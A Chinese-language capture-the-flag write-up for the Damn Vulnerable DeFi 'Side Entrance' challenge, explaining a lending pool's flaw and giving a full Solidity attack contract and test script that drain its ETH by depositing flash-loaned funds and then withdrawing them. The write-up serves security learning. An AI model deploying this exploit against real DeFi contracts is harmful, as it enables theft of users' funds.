moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:Damn Vulnerable DeFi (四) - 側門入口

Damn Vulnerable DeFi 是一個 DeFi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScript 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。

題目連結:https://www.damnvulnerabledefi.xyz/challenges/4.html

題目描述:

有一個借貸池合約,允許任何人存入 ETH,並在任何時間點取出。這個借貸池已經有 1000 ETH 餘額,並使用存入的 ETH 提供免費閃電貸來推廣他們的系統。

你需要做的就是從借貸池中取光所有的 ETH

借貸池合約 SideEntranceLenderPool.sol

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

// 使用閃電貸功能的合約介面
interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    using Address for address payable;
		
    // 記錄地址對應的餘額數量
    mapping (address => uint256) private balances;
    
    // 存入資金,並記錄
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }
		
    // 提現方法
    function withdraw() external {
        // 獲取調用者的可用餘額
        uint256 amountToWithdraw = balances[msg.sender];
        // 餘額置空
        balances[msg.sender] = 0;
        // 將可用餘額從當前合約轉到調用者
        payable(msg.sender).sendValue(amountToWithdraw);
    }
		
    // 閃電貸方法
    function flashLoan(uint256 amount) external {
        // 獲取餘額
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough ETH in balance");
        
        // 回調使用閃電貸的合約的execute 方法
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
				
        // 確保餘額已返還
        require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");        
    }
}

該借貸池合約允許存入資金,並供別人免費使用閃電貸功能。

由於該合約提供了 deposit 存入資金的方法,如果將借出的 eth 調用該方法存入,一方面能夠滿足flashLoan 最後的歸還要求,另一方面可以手動調用 withdraw 方法取出餘額。

因此我們需要一個攻擊合約 SideEntranceAttack.sol

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../side-entrance/SideEntranceLenderPool.sol";

contract SideEntranceAttack is IFlashLoanEtherReceiver, Ownable {
  using Address for address payable;
	
  // 借貸池合約
  SideEntranceLenderPool public pool;

  constructor(address _pool) {
    pool = SideEntranceLenderPool(_pool);
  }
	
  // 閃電貸方法
  function flashLoan() external onlyOwner {
    // 調用借貸池合約的 flashLoan 借出全部餘額
    pool.flashLoan(address(pool).balance);
    
    // 提取餘額,將餘額轉入該合約
    pool.withdraw();
    // 將該合約的餘額轉入攻擊者的地址
    payable(msg.sender).sendValue(address(this).balance);
  }

  function execute()  external override payable {
    require(msg.sender == address(pool), "caller not the pool");
    // 將借出的 eth 再次存入
    pool.deposit{value: msg.value}();
  }

  receive () external payable {}
}

攻擊步驟:

  1. 調用借貸池合約的 flashLoan 方法,借出全部餘額
  2. 借貸池合約執行回調 - 調用 execute,該方法中調用 deposit 存入借出的 eth 到 借貸池合約
  3. 調用借貸池合約的 withdraw ,將存入的 eth 轉出到該合約
  4. 將合約中的餘額轉出到攻擊者的地址

最後在測試用例 side-entrance.challenge.js 編寫我們的執行程式碼

it('Exploit', async function () {
  // attacker 地址部署攻擊合約
  const SideEntranceAttackFactory = await ethers.getContractFactory('SideEntranceAttack', attacker)
  const sideEntranceReveive = await SideEntranceAttackFactory.deploy(this.pool.address)

  await sideEntranceReveive.flashLoan()
})

執行 yarn side-entrance,測試通過!

完整程式碼

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。